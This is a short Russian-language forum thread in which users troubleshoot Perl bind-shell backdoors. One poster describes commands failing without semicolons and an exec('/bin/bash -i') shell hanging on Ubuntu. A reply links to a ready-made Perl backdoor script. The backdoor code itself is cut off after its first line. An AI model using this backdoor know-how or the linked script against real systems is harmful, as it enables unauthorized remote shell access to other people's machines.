![]() |
Нюансы в perl bindshells
Столкнулся с таким вот явлением. В perl биндшеллах когда подключаешься и отправляешь команды, то тебе возвращается ": not found". И после каждой команды приходится точку с запятой лепить. Кроме того, когда пробую привязать bash в биндшелле, то при подключении он просто подвисает и ничего не происходит. Кто с этим встречался и как это решить?
Вот код среднестатистического бэкдора на перл Код:
#!/usr/bin/perl |
этот нормально работает у меня
|
Все работает. Да, он не выводит PS1, но работает. Проверить можно через whoami.
Вот готовый хитрый бэкдор на перле: _http://rawlab.mindcreations.com/codes/perl-backdoor.pl |
Он работает, только чтобы команды выполнялись, нужно после каждой ставить ";", иначе выдает ": not found". А вот если exec("/bin/bash -i"); прописать то при коннектре биндшелл просто морозится и никак не реагирует. Проверял на последней убунте.
|
| Время: 08:27 |